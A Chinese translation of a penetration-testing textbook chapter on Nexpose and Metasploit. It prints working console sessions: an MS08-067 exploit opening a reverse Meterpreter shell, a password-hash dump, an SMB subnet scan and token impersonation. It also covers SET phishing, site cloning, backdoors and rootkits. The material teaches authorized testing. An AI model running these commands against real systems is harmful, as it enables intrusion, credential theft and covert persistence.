虽然 Nessus 是一个非常好的扫描器,但如果我们要使用 Metasploit,Nexpose 实际上在查找漏洞方面有优势,我们将会这样做。因此,我们将从一个 Nexpose 扫描开始,因为我们会仔细查找已报告的漏洞,以测试其可利用性。

Nexpose 有几种不同的方式来查看你的发现。第一种方法是只查看漏洞列表。当您查看扫描时,您将看到 Nexpose 在您的目标上发现的所有漏洞的列表。如果您特别练习扫描和利用,高度易受攻击的系统会成为很好的实验室系统。当涉及到使用 Metasploit 时尤其如此,因为您将有保证的钱投给目标。图 5-2 显示了 Nexpose 在 Windows 95 系统中发现的漏洞的部分列表,其中有大量漏洞已经成熟,可以利用。您将很快看到如何利用它们。

A417535_1_En_5_Fig2_HTML.jpg

图 5-2。

Nexpose vulnerabilities list

在图中,有一个 Metasploit 图标列表。这些图标表示 Metasploit 有针对该特定漏洞的漏洞利用。使用这些图标,我们可以很快切入主题,如果我们正在寻找漏洞,我们可以很快做一些事情。查看这 10 个漏洞的列表,我们发现 Metasploit 利用了其中的 4 个漏洞。这是一个相当不错的百分比,但请记住,这是一个 Windows 95 系统,预计会有漏洞。这不可能是我们使用 Metasploit 可以做的有趣事情的全部列表。Nexpose 提供了一个“漏洞”视图,只关注容易被利用的漏洞。从漏洞利用的角度来看 Windows 95 系统的相同 Nexpose 扫描,我们得到了图 5-3 中的列表。如果您查看这个列表,您所看到的都是带有相应 Metasploit 模块的条目。

A417535_1_En_5_Fig3_HTML.jpg

图 5-3。

Nexpose exploits list

还有其他定位漏洞的方法,特别是如果您使用的扫描器与 Metasploit 没有关系。Nessus 或其他扫描器将提供一个漏洞列表,然后您将需要做一些研究,以确定您可以做什么。仅仅因为没有针对特定漏洞的 Metasploit 模块,并不意味着它不是真实的,或者没有利用该漏洞的方法。在测试时,永远不要假设没有结果就意味着没有弱点可利用。有很多因素可能会导致很少的结果,包括您必须执行测试的时间。当您在 Metasploit 中寻找漏洞时也是如此。Metasploit 中没有漏洞利用模块的原因有很多。这并不意味着该漏洞不能被利用。这只是意味着 Rapid7 的开发人员和社区贡献者还没有创建一个漏洞利用模块。

使用 Metasploit

Metasploit 是一个非常强大的工具,尽管它通常被认为是一种利用其他系统的方法。实际上,它有很多用途,如果你知道如何写代码,它也是可扩展的。使用 Metasploit 框架,您可以非常容易地编写一个脚本来执行 Metasploit 默认情况下不支持的特定操作。要创建 Metasploit 模块,您需要编写模块并将文件放入 Metasploit 树中的适当目录。一旦在这个位置放置了一个模块,Metasploit 就会找到它,然后您就可以在 Metasploit 中使用这个模块了。在我们进入如何使用 Metasploit 的细节之前,我们应该谈论它包含的不同接口。它们是命令行控制台、脚本命令行界面和图形 Web 界面。

第一个接口,也是你在这里最常看到的一个,叫做msfconsole。msfconsole 是一个命令行程序,提供交互式控制台界面。一旦进入 msfconsole,您就可以搜索模块、设置参数和利用漏洞。您将在这里进行一些输入,尽管它确实使用 tab 键完成命令,就像大多数命令行 shell 界面一样。这是在一个非常可靠和高效的界面中完全控制 Metasploit 的最佳方式。与 msfconsole 相关的是 msfcli。这是一个可以用来编写与 Metasploit 交互的脚本的程序。如果您有一个正在编写的程序,并且希望触发 Metasploit 做一些事情,可以使用 msfcli。在 2015 年,msfcli 被弃用,但如果您周围有一个较旧的安装,您可能仍然会遇到它,并且通过将–x传递到 msfconsole 中,该功能仍然存在。

Web 界面可能会吸引很多人,特别是如果你从 Rapid7 下载了 Metasploit 的完整版本。完整的 community edition 安装包将安装 msfconsole 以及一个 Web 界面。如果已经安装了 Nexpose,可以将两者链接起来,这样就可以直接从 Nexpose 有效地驱动 Metasploit。通过告诉 Nexpose 安装有关 Metasploit 的信息,当 Nexpose 发现可被 Metasploit 利用的漏洞时,它将生成一个链接,该链接将从 Nexpose 内部自动启动针对目标的利用。从目标系统获得的任何 shell 都将出现在您的 Web 浏览器中,您可以像使用命令行一样与它进行交互。

Kali 是一个流行的 Linux 发行版,专门为安全相关的活动而创建,包括渗透测试。Kali 包括大量对渗透测试有用的工具。这包括 Metasploit 的一个版本,尽管这个版本没有 Web 界面。如果你想要一个包含所有入门工具的操作系统,你可以使用 Kali。Kali 不包含 Web 接口的事实是这里使用 Metasploit 命令行接口的原因之一。

我们将看一下 Metasploit 的命令行版本,这样您可以清楚地看到发生了什么。你可以通过网络界面做同样的事情,而不需要打字。在我们的例子中,我们将使用 Metasploit 控制台来搜索通过扫描识别的漏洞之一。首先,我们需要加载 msfconsole。这是在 Linux 系统上完成的,但是您也可以在 Windows 系统上做同样的事情,而且只需一点努力,您就可以让它在 Mac OS X 系统上也能工作,因为 Metasploit 是用 Ruby 编写的。您可以看到 msfconsole 正在启动,然后您开始搜索 MS08-067 漏洞。如果您发现系统仍然易受其攻击,这恰好是一种非常可靠的利用方法,并且考虑到多少年来这是一种非常流行的利用系统的方法,因为系统没有被修补,您完全有可能仍然在系统上发现这种方法。即使您不知道,我们也要看看这个特殊的漏洞,以此来演示 Metasploit 是如何工作的。

root@senatorbedfellow:∼# msfconsole

     ,           ,
    /             \
   ((__---,,,---__))
      (_) O O (_)_________
         \ _ /            |\
          o_o \   M S F   | \
               \   _____  |  *
                |||   WW|||
                |||     |||

Payload caught by AV? Fly under the radar with Dynamic Payloads in
Metasploit Pro -- learn more on http://rapid7.com/metasploit

       =[ metasploit v4.11.15-dev                         ]
+ -- --=[ 1524 exploits - 887 auxiliary - 260 post        ]
+ -- --=[ 436 payloads - 38 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > search ms08

Metasploit 将模块存储在具有特定结构的目录树中。有一个 Postgresql 数据库支持 Metasploit 来存储有关主机、漏洞和其他资产的信息。Metasploit 还将保存所有模块的索引,以便更快地找到它们。一旦我们知道模块在哪里,我们就需要加载它。我们通过告诉 Metasploit 使用该模块来做到这一点。您可以在下面的代码中看到整个事务,您可以看到我们选择了模块的完整路径,因为它存在于 Metasploit 包含的目录树中。一旦我们表明我们将使用exploit/windows/smb/ ms08_067_netapi模块,我们需要设置一些选项以便我们可以使用它。不同的模块可能有不同的选项集。这个特定模块的选项非常有限。我们需要设置远程主机和远程端口。远程端口将是 445,因为这是通用 Internet 文件系统(CIFS)监听的端口。远程主机将成为我们的目标。您可能会注意到该模块有一个熟悉的名称。它以 Microsoft 公告命名,因为它利用了该公告中说明的漏洞。

msf > use exploit/windows/smb/ms08_067_netapi

msf exploit(ms08_067_netapi) > set RHOST 172.30.42.18
RHOST => 172.30.42.18

msf exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    172.30.42.18     yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

msf exploit(ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 172.30.42.20:4444

[*] Automatically detecting the target...

[*] Fingerprint: Windows XP - Service Pack 2 - lang:English

[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)

[*] Attempting to trigger the vulnerability...

[*] Sending stage (957487 bytes) to 172.30.42.18

[*] Meterpreter session 1 opened (172.30.42.20:4444 -> 172.30.42.18:1048) at 2016-05-28 13:38:09 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

通用 Internet 文件系统(CIFS)服务是 Windows 通过网络共享文件的方式。这实质上是下一代服务器消息块(SMB)协议。如果您有一个共享文件的 Windows 系统,并且直到最近,大多数 Windows 安装都默认启用文件共享,您可以在这些 Windows 系统上监听该端口。

设置好变量后,我们告诉 Metasploit 利用漏洞,Metasploit 将漏洞发送到目标,触发操作系统运行 Metasploit 也发送的有效负载。本例中的有效负载是 Meterpreter,它是一个小型命令解释器,为您提供了一种以完全中立的方式与系统进行交互的方法。这意味着您不必了解 Windows 命令或 Linux 命令。你所需要知道的就是如何与 Meterpreter 交互,以便从被开发的系统中得到你所需要的东西。Metasploit 附带了大量的有效负载,您可以在不同的情况下使用。如果您查看漏洞利用运行时的输出,可以看到 Metasploit 系统(172.30.42.20)正在向目标(172.30.42.18)发送网络连接。如果有防火墙挡路,这种可能性可能并不总是存在。您可能需要让被利用的系统向您发送一个网络连接。这被称为反向连接,Metasploit 具有这方面的有效负载。以下是所有可用有效载荷的一小部分示例:

   windows/metsvc_bind_tcp
normal  Windows Meterpreter Service, Bind TCP
   windows/metsvc_reverse_tcp
normal  Windows Meterpreter Service, Reverse TCP Inline
   windows/patchupdllinject/bind_hidden_ipknock_tcp
normal  Windows Inject DLL, Hidden Bind Ipknock TCP Stager
   windows/patchupdllinject/bind_hidden_tcp
normal  Windows Inject DLL, Hidden Bind TCP Stager
   windows/patchupdllinject/bind_ipv6_tcp
normal  Windows Inject DLL, Bind IPv6 TCP Stager (Windows x86)
   windows/patchupdllinject/bind_ipv6_tcp_uuid
normal  Windows Inject DLL, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   windows/patchupdllinject/bind_nonx_tcp
normal  Windows Inject DLL, Bind TCP Stager (No NX or Win7)
   windows/patchupdllinject/bind_tcp
normal  Windows Inject DLL, Bind TCP Stager (Windows x86)

一旦您入侵了系统,您就可以使用 Meterpreter 从目标收集信息,包括所有的密码散列,如下所示。在像 Windows 这样有图形化桌面的系统上,你可以使用 Meterpreter 来获取桌面的屏幕截图。这将证明你设法进入了系统,并且你可以在以后的报告中写出来。Meterpreter 是专门为渗透测试人员创建的高功能命令解释器,它提供了您在操作系统的内置命令解释器中找不到的功能。例如,Windows 不允许您像这样轻松地转储密码数据库的内容

meterpreter > hashdump
Administrator:500:ed174b89559f98ab93e28745b8bf4ba6:5f7277b8635625ad2d2d551867124dbd:::
ASPNET:1003:5b8cce8defe0d65545aefda15894afa0:227510be54d4e5285f3537a22e855dfc:::
Guest:501:aad3b435b51404ea1ad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:7e86e0590641f80063c81f86ea9efa9c:ef449e873959d4b1536660525657047d:::
SUPPORT_388945a0:1002:aad3b435b51404eefad3b435b51404ee:2e54afff1eaa6b62fc0649b715104187:::

一旦您控制了一个系统,您就可以使用它来进一步进入目标网络。您可能会通过使用受威胁的系统在网络中横向移动,以获得对同一网络中其他系统的可信访问。您还可以将受损系统用作路由器,将流量从您的系统传送到目标系统所连接的其他网络中。这就是所谓的pivoting

当为了向用户提供服务而部署的生产系统被放到网络上时,它们可能被部署有多个网络接口。这使得管理人员可以通过一个受保护的网络接口访问系统,该网络接口独立于用于大量未洗手人群使用的主要服务的接口和 IP 地址。拥有多个接口的另一个原因是,当存在受保护的数据时,例如在数据库中,Web 或应用程序服务器可以查询这些数据,而无需将服务器暴露给与互联网没有任何连接的网络。数据库服务器只能存在于远程无法访问的隔离网络上。只有系统管理员可以从后端管理界面访问系统,而应用程序或 Web 服务器通过隔离的网络访问系统。旋转使攻击者能够远程访问数据库服务器,因为受损的系统可用于将流量路由到该隔离网络。

旋转允许您使用 Metasploit 访问一个系统,设置一个旋转点,然后扫描受损系统背后的网络。你可以在图 5-4 中看到它的直观表示。作为攻击者,您位于图表的左侧。您首先通过网络,很可能是互联网,然后通过防火墙到达最初被入侵的目标。从这个被破坏的目标或立足点,您能够通过被破坏的系统到达内部网络上的数据库服务器。

A417535_1_En_5_Fig4_HTML.jpg

图 5-4。

Pivot diagram

当然,这并不意味着你会一直有 Meterpreter 可以依靠。您可能并不总是能够使用能够为您提供 Meterpreter shell 的有效负载。有时,您将不得不依赖您所连接的操作系统中的常规命令解释器或 shell。一些漏洞利用模块无法利用 Meterpreter 有效载荷,因此您可能会受到限制。您应该理解使用 Windows 命令解释器和 Linux bash shell 可以做什么。使用这些接口有些事情很难做到,包括旋转、转储密码散列和控制系统资源。一旦您控制了系统,您可能需要安装其他软件来获得对该系统或其他系统的额外控制。

一旦您连接到所需的系统,您就有了该系统易受攻击以及其易受攻击程度的证据。然而,这并不意味着你的工作已经完成。记录您所做的事情,但是根据您的工作范围,您可能需要收集其他信息,如密码和系统名称。您可能不仅需要调查系统密码数据库,还需要调查配置文件。如果您有一个连接到应用程序服务器的 Web 服务器,可能有一个配置文件为该应用程序服务器提供凭证。数据库服务器也是如此。如果你能用一个服务器在一个更重要的服务器上立足,那就意义重大了。一些组织可能更希望您停留在第一个入口点,而其他组织可能希望您尽可能地走远。

无论您是在内部工作还是作为顾问/承包商,在执行渗透测试时,沟通都是至关重要的。你需要有一个联系点,这样你可以让他们知道你在做什么,以防他们需要通知某人潜在的中断,如果这是他们关心的事情。作为渗透测试人员,您可能会采取许多可能导致系统中断的措施,包括利用漏洞。其中一些漏洞可能会导致服务崩溃,而不允许您控制系统。留给你的可能只是一个失败的漏洞,一个不再运行的程序,以及一个不再对用户可用的服务。定期和持续的沟通也将为你提供一个人,如果你需要澄清,以了解你可以或应该走多远。

Metasploit 辅助模块

Metasploit 在很多方面都很棒。除了利用,还可以用来侦察。这是通过使用辅助模块来完成的。可以从 Metasploit 内部开始进行 nmap 扫描。可以使用 db_nmap 从 Metasploit 内部调用 nmap。您可以使用与在 Metasploit 外部使用 nmap 时相同的参数。所有的结果都存储在数据库中,以便以后参考。除了 Metasploit 附带的 exploit 模块之外,还有许多辅助模块。这些模块中的一些可以用于在目标网络中搜索特定服务的实例。例如,我们可以在目标网络上搜索所有为 Windows 共享服务打开了 CIFS 端口的系统。所使用的模块 smb_version 不仅会提供使用服务器消息块协议(smb,CIFS 的前身)的系统列表,还会提供所使用的版本。看这里:

msf > use auxiliary/scanner/smb/smb_version

msf auxiliary(smb_version) > show options

Module options (auxiliary/scanner/smb/smb_version):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   RHOSTS                      yes       The target address range or CIDR identifier
   SMBDomain  .                no        The Windows domain to use for authentication
   SMBPass                     no        The password for the specified username
   SMBUser                     no        The username to authenticate as
   THREADS    1                yes       The number of concurrent threads

msf auxiliary(smb_version) > set RHOSTS 172.30.42.0/24
RHOSTS => 172.30.42.0/24

msf auxiliary(smb_version) > run

您可能会注意到 RHOSTS 变量的使用。这不同于先前用于 MS08-067 漏洞利用的 RHOST 变量。这个辅助模块使用这个变量而不是 RHOST 变量的原因是,我们正在扫描多个主机,因此使用变量名来反映目标多个主机而不是单个主机的复数性质是有意义的。这种情况下的目标是我的家乡网络,用无类域间路由(CIDR)符号表示:172.30.42.0/24。/24 表示我们使用 24 位作为子网掩码,只留下最后一个二进制八位数作为目标系统的 IP 地址。这意味着我们的扫描目标是 172.30.42.0-255。一旦设置了目标,运行该模块将开始扫描。当它运行时,它会显示找到的系统。您可以在这里看到这些系统的列表:

msf auxiliary(smb_version) > run

[*] 172.30.42.9:445 could not be identified:  ()

[*] 172.30.42.12:445 could not be identified:  ()

[*] 172.30.42.15:445 could not be identified:  ()

[*] 172.30.42.18:445 is running Windows XP SP2 (language:English) (name:WUBBLE-C765F2) (domain:WORKGROUP)

[*] 172.30.42.23:445 could not be identified:  ()

[*] Scanned  26 of 256 hosts (10% complete)

在没有系统的情况下,Metasploit 会提供进度更新,指示扫描进行到什么程度,因为扫描器会按照提供的地址顺序工作。寻找 CIFS/中小型企业系统只是 Metasploit 能够进行的大量扫描之一。Metasploit 提供了辅助模块,用于扫描、捕获身份验证凭证、收集信息以及执行不一定与利用漏洞相关的不同类型的攻击。

Metasploit 被设计成可扩展的。它是用 Ruby 编写的,你可以很容易地添加模块。毕竟,Metasploit 是一个框架,因此有很多脚手架,所以您可以专注于您希望您的模块完成的具体细节。您可以选择添加辅助模块,如扫描器或测试服务器,或者您可以开发漏洞,甚至将用另一种语言编写的漏洞作为概念证明,并将它们转换为 Metasploit 模块。

排除故障

随着您开始更深入地利用漏洞,您将真正需要熟悉调试器/反汇编器。一个经常被需要的专业人士使用的调试器/反汇编程序是 IDA Pro,尽管它非常昂贵。幸运的是,还有其他选择。其中之一是免疫调试器,可以从提供漏洞框架画布的同一个人那里获得。Immunity Debugger 运行在 Windows 系统上,并具有能够运行 Python 脚本的不寻常的能力,这可能有助于自动化一些调试任务或以特定方式与被调试的程序进行交互。开发免疫调试器时考虑了利用漏洞的想法,因此它包含了专门针对研究人员和渗透测试人员的功能,这些人员希望了解如何利用已发现的漏洞。

即使您自己没有开发漏洞,能够使用调试器也是一项重要的技能。使用调试器,您可以逐句通过代码并观察程序运行时内存的变化。使用调试器,您还可以看到程序崩溃的确切位置。如果你只有可执行程序,你就看不到源代码。你看到的只是可执行代码,在汇编语言中显示为操作。汇编语言中使用的助记符是处理器各个操作码的简写。它们比操作码更容易阅读,但比源代码更难阅读。

另一个非常流行并且免费提供的调试器是 OllyDbg。当前版本只是一个 32 位应用程序,尽管开发人员正在开发一个 64 位版本,您可以尝试一下。在图 5-5 中,您可以看到 OllyDbg 应用程序的一部分,该应用程序对与之捆绑在一起的测试应用程序开放。在左侧,您可以看到反汇编的代码,在右侧,您可以看到所有的寄存器。OllyDbg 加载应用程序并指向入口点,入口点是程序的起点。您可以从 OllyDbg 内部启动程序,并让它运行,直到它自己中断,或者您可以在反汇编代码内部设置一个断点。这意味着调试器将在您设置断点的地方停止执行。如果你想知道一个程序是如何运行的,或者你想知道一个特定位置的内存值,这是很有用的。一旦程序停止,您就可以操纵程序的执行,一次运行一个操作,或者跳过函数调用。

A417535_1_En_5_Fig5_HTML.jpg

图 5-5。

OllyDbg window

右边是所有的寄存器值。寄存器是设置指令指针的地方;寄存器还包括处理器处理的立即值。您可以在逐步完成程序的过程中观察它们的变化。OllyDbg 的底部,如图 5-6 所示的一部分,是程序内存和堆栈的转储。程序内存转储显示转储中显示的内存地址以及每个内存位置的十六进制值。屏幕截图的右边是内存位置的 ASCII 值。

A417535_1_En_5_Fig6_HTML.jpg

图 5-6。

Memory dump from OllyDbg

调试器还将为您提供堆栈的表示。由于堆栈是返回地址所在的位置,并且一些漏洞利用通过覆盖返回地址来工作,所以在调试器中通过程序运行漏洞利用将允许您看到返回地址被覆盖。调试器还将为您提供内存中存储不同组件的位置。这在地址从一次运行到另一次运行发生变化的情况下非常有用。请记住,由于现代操作系统使用虚拟内存,您看到的地址是程序知道的地址,而不是操作系统知道的真实地址。使用调试器来观察程序的执行将有助于您更好地理解程序执行过程中发生的事情。理解程序执行将有助于您更好地理解不同的漏洞利用是如何工作的。

利用数据库

Metasploit 并不是获取漏洞的唯一途径。世界上有很多可以利用漏洞的仓库。这些可能是概念验证代码,只是为了证明漏洞可以被利用,也可能是全面的利用,让您通过控制台远程控制目标系统,就像 Metasploit 所做的那样。你可能不得不去相当深的水域钓鱼,以获得一些最好的利用,这样做,你可以把你自己的系统置于危险之中。如果你从一个不知名的作者那里获取代码,你需要重新考虑你有多信任你正在看的代码的来源。幸运的是,您可以从更可信的来源获得一些代码。合法且相对可信的网站维护着这些信息的存储库,这种情况曾经随处可见。PacketStorm、RootShell 和 Church of the Swimming Elephant 都在某种程度上维护了一些代码库。如今,获取漏洞信息的最佳地点之一是exploit-db.com

虽然在进行任何渗透测试时,无论是针对您自己的系统还是属于客户的系统,您都需要小心,但当您使用来自这些网站的任何东西时,尤其如此。说到漏洞利用框架,Rapid7 或 Immunity 提供的任何东西都经过了测试。如果您从 exploit-db 这样的网站下载源代码,您通常会使用概念验证代码或类似的东西。它还没有经过严格的测试,因为它不是一个值得生产的程序。运行这些程序可能是危险的,所以通常最好首先在您自己的系统上单独使用它们。这里提供的站点不是您可以获得漏洞利用代码的唯一站点,但它们可能是最值得信赖的。这些网站的一个优点是,你通常下载源代码,如果你理解它,你就可以阅读它,从而知道程序在做什么。在某种程度上,这是为了确保你不会做一些对你自己的系统有负面影响的事情。如果你正在下载已经编译好的程序进行测试,要特别小心。除非你通过测试运行它们几次,否则你不能确定程序中没有嵌入恶意软件。

当您访问exploit-db.com网站时,您会看到最近发布的漏洞列表。您可以在图 5-7 中看到本文撰写时的远程攻击列表。这里的攻击已经公开,以帮助增加对安全问题的理解。它们也被公之于众,希望任何人都可以免费获得的利用将鼓励公司保持其硬件和软件的更新。其中一些漏洞是针对硬件设备设计的。在图 5-7 所示的列表中,有一台施耐德电气设备和一台思科设备被列为存在漏洞。据推测,这些设备运行易受攻击的固件,因此它显示为一个硬件平台,而不像那些列出 Linux 或 Windows 等操作系统或 PHP 等语言和 Web 应用程序平台的漏洞。

A417535_1_En_5_Fig7_HTML.jpg

图 5-7。

Exploit-db.com

此处显示的是远程攻击的列表,这意味着它们可以通过网络执行。Exploit-DB 还包括 Web 应用程序漏洞以及本地、权限提升漏洞和一些其他类别的列表。这是一个相当全面的收集。甚至 Rapid7 的人也为这个公共集合做出了贡献,正如你可以看到的,在图 5-7 所示的列表中,metasploit 作为作者出现了三个漏洞。如果您稍微挖掘一下,您可能会找到其他具有漏洞数据库的位置。如果你愿意在 Tor 网站上四处挖掘,这一点尤其正确。Tor 是洋葱路由器,它是一个网络中的网络,流量被加密并在对等体之间传递,以便以完全匿名的方式到达其最终目的地。这种匿名性导致一些人使用它进行非法活动,这就是为什么小心使用 Tor 很重要。考虑到 exploit-db.com 的可用容量,这是一个很好的起点,特别是如果您希望搜索针对您已发现的目标的相对知名的漏洞,或者如果您只想了解漏洞利用的内容。

社会工程师的工具包

社会工程是让某人做他们不应该做的事情的行为。执行社会工程的人可能会打电话给目标公司的人,要求他们提供密码,声称是邮件管理员组的人,希望执行密码重置。如今,社交工程通常是通过发送带有附件或链接的电子邮件来实现的,希望有人打开附件或点击链接。这可能导致攻击者控制他们的桌面。

因为这是一个如此常见的策略,所以这里值得注意一下社会工程师工具包(SEToolkit)。在进行渗透测试的过程中,你可能没有机会使用它,因为社会工程,利用人类漏洞的过程,可能被排除在范围之外,但你应该知道它,因为它非常强大。一些企业可能不希望你测试他们的人的弱点,因为他们觉得他们通过使用培训和自动检查来控制这一点。这种范围限制不会让他们清楚地了解他们的企业有多脆弱,因为进入一个组织的主要媒介之一是通过在那里工作的人。存在有组织的对手,这是你在试图保护一个组织时可能遇到的绝大多数情况,他们正在寻找最容易的途径。这些并不是你可能会想到的高度技术性的途径。相反,它可能就像给目标发送一封电子邮件并让他们打开它一样简单。包含的附件可能包含宏病毒或受感染的 PDF,它们利用了 PDF reader 软件中的漏洞,或者它可能只是电子邮件作者能够让收件人打开的直接可执行文件。该可执行文件可能是伪装成其他东西(即木马)的恶意软件,或者它可能只是不伪装成其他东西的恶意软件。如果你只需要让那个人运行程序,为什么还要费心去假装什么呢?一旦程序已经运行,在大多数情况下做任何事情都为时已晚。

SEToolkit 通过自动创建您可以发送给访问网站和打开附件的人的电子邮件来利用这些人。使用 Metasploit 模块库,它将创建一个可以感染目标系统的附件,将附件添加到电子邮件中,然后提供一些电子邮件模板供您使用或允许您创建自己的模板。使用 Metasploit,您可以利用漏洞,并将其转换为适合交付给受害者的可执行文件。当该漏洞运行时,它会向您发送一个连接,这样您就可以通过后门进入目标系统。

使用 SEToolkit 的另一个用途是创建可用于测试水坑或驾车攻击的网站。您可以使用许多其他攻击来吸引人们访问这些网站,或者您可以简单地创建一个包含攻击模块的网站,并吸引用户访问该网站。你可以使用一封精心制作的电子邮件,承诺用户想要的东西。SEToolkit 提供了你需要的所有技术工具,但是它的一些社会工程方面可能需要来自你,因为你最了解你的目标。你应该知道什么能让他们访问一个他们一无所知的网站。

幸运的是,您不必从头开始创建一个完整的网站,尽管您可以这样做。SEToolkit 将克隆您指定的站点。您提供一个统一资源定位器(URL ), SEToolkit 将获取所有的 HTML 并创建一个包含您选择的任何攻击的站点。攻击可能是 Java 小程序,也可能是针对特定 Web 浏览器的已知利用漏洞攻击。同样,策划攻击将基于你对目标的了解。例如,如果您知道您的目标组织中的大多数用户都使用 Firefox,那么您可以利用 Firefox 漏洞将您的有效负载加载到系统中。一旦发生这种情况,你将控制你的目标,并可以提取数据,引入额外的恶意软件,或执行任何其他行动,你想。

为了进行基于网络的攻击,你必须有一个你的目标可以到达的系统。这意味着你很可能需要在网络内部,否则,如果你远程工作,你将需要在你自己的防火墙上打开漏洞,这样反向连接就可以回到你这里。为什么要反向连接?这是知道目标被渗透的最好方法。大多数防火墙,无论是个人防火墙还是企业防火墙,都信任来自网络内部的流量。这不是最明智的决定,但它节省了许多管理和维护的麻烦。你也不能保证你会有任何直接到达目标的希望,所以你必须依靠他们给你发回信息。这意味着您需要知道您的公共 IP 地址,这样您就可以将它硬编码到您的包中。如果您碰巧有一个 DNS 名称,您可以使用它,但是 IP 地址可能更容易、更可靠。

SEToolkit 有很多功能,如图 5-8 所示,它显示了打开菜单。它使用基于文本的菜单,引导您完成创建您感兴趣的任何攻击类型的所有步骤。如果你看菜单列表,你可以想象你可能会把时间花在列表的最上面,尽管如果你喜欢,你当然可以浏览演职员表。

              ________________________
              __  ___/__  ____/__  __/
              _____ \__  __/  __  /
              ____/ /_  /___  _  /
              /____/ /_____/  /_/     

[---]        The Social-Engineer Toolkit (SET)         [---]
[---]        Created by: David Kennedy (ReL1K)         [---]
[---]                 Version: 6.5.8                   [---]
[---]               Codename: 'Mr. Robot'              [---]
[---]        Follow us on Twitter: @TrustedSec         [---]
[---]        Follow me on Twitter: @HackingDave        [---]
[---]       Homepage: https://www.trustedsec.com       [---]

        Welcome to the Social-Engineer Toolkit (SET).
         The one stop shop for all of your SE needs.

     Join us on irc.freenode.net in channel #setoolkit

   The Social-Engineer Toolkit is a product of TrustedSec.

             Visit: https://www.trustedsec.com

Select from the menu:

   1) Social-Engineering Attacks
   2) Fast-Track Penetration Testing
   3) Third Party Modules
   4) Update the Social-Engineer Toolkit
   5) Update SET configuration
   6) Help, Credits, and About

  99) Exit the Social-Engineer Toolkit

出于我们的目的,我们将进行社会工程攻击,因此我们将利用第一个菜单选项。输入1将我们带到下一个基于文本的菜单,你可以在上面看到。这是 SEToolkit 可以为您自动化的不同社会工程攻击的列表。看到这里列出了如此多的攻击类型,您可能会感到惊讶,但实际上我们才刚刚开始。开发人员继续增加他们支持的攻击媒介的数量。继续寻找新的攻击媒介。

整个过程是自动化的,你几乎不用做什么。如果您选择鱼叉式网络钓鱼攻击,SEToolkit 将使用您选择的攻击为您创建电子邮件。如果您提供了可以发送电子邮件的 SMTP 服务器,它将为您发送电子邮件。你必须注意如何发送电子邮件,以及从哪里发送。一些互联网服务提供商将阻止标准的 SMTP 连接或重定向到他们自己的服务器,这些可能会阻止你正在尝试做的事情。如果您在运行 SEToolkit 的系统上有 SMTP 服务器,那么您可能会比较幸运。基本的 SMTP 服务器并不难设置。

如果你选择一个网站攻击,SEToolkit 会引导你使用类似于站点克隆攻击的方法,从一个站点下载所有的 HTML 并保存在你的系统中,它的功能就像一个网络服务器。您将再次选择想要使用的攻击类型。一旦有了攻击类型并创建了站点克隆,就可以开始发送 URL 了,如前所述。这里值得注意的是,无论您使用哪种攻击,SEToolkit 都会利用 Metasploit 提供的漏洞来创建攻击。本质上,SEToolkit 是一种以有趣的方式自动化 Metasploit 的一些漏洞利用功能的方法,因此您可以在进行渗透测试时非常快速地部署它们。

由于用户是非常常见的攻击点,您应该尝试让您的客户允许您进行一些社会工程攻击,以了解他们有多脆弱。即使他们在内部进行网络钓鱼测试,网络钓鱼测试电子邮件可能看起来是一样的,并且 word 可能会在公司内部传播,以了解从内部测试中应该寻找什么。仅仅因为用户没有被钓鱼测试邮件欺骗并不一定意味着他们不会受到社会工程攻击。

后利用

一旦您利用了该系统,接下来的步骤取决于您的项目范围。如前所述,您可以查看获取用户名及其密码的列表,然后在一个单独的系统上破解密码,这样您就有时间在不被注意的情况下工作。您可以安装一个后门程序,允许您在最初的攻击之外访问系统。如果系统仍未打补丁,您可以继续利用该系统,并在任何需要的时候进行进一步的活动。

您可以将该系统用作网络中的安全港,以便继续通过其他系统访问它们。这意味着您可以将它用作一个临时服务器,将您需要在其他系统上继续工作的文件复制到其中。有几种方法来掩盖你的藏身之处和额外的程序使用单独的和隐藏的分区或安装 rootkits。rootkit 是一组旨在隐藏恶意软件存在的程序。它可以防止管理员看到程序运行或隐藏网络连接的存在。

与客户的接触可能会限制你能做什么和应该做什么。后门和 rootkits 是您留下的工件,一些公司不想留下额外的软件。一如既往,沟通将是关键。

您可能无法始终获得系统的根级别或管理权限。您可能希望在攻击后采取的一个措施是运行本地攻击来获得管理访问权限。Metasploit 还有一些模块可用于尝试获得系统级或管理级访问权限。其中一个是getsystem,可在 Meterpreter 外壳中获得。getsystem将尝试获得系统级权限,最高权限。如果这不起作用,可能有其他方法成为另一个用户。您还可以利用一个模块来模拟另一个用户,并继承他们的所有权限和权利。这个模块是匿名的,你可以在这里看到它的用法:

meterpreter > use incognito
Loading extension incognito...success.

meterpreter > list_tokens -u

Delegation Tokens Available
========================================
WUBBLE-C765F2\Administrator
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON

meterpreter > impersonate_token WUBBLE-C765F2\\Administrator
[+] Delegation token available
[+] Successfully impersonated user WUBBLE-C765F2\Administrator

meterpreter > getuid
Server username: WUBBLE-C765F2\Administrator

与其他模块一样,您必须使用它来导入功能。一旦模块被加载,您就可以访问list_tokens,这将为您提供系统上所有可用的认证令牌。然后选择您想要模拟的用户,并使用impersonate_token成为该用户。使用getuid Meterpreter 命令,您可以看到 Meterpreter 当前在本地系统上作为用户管理员运行。

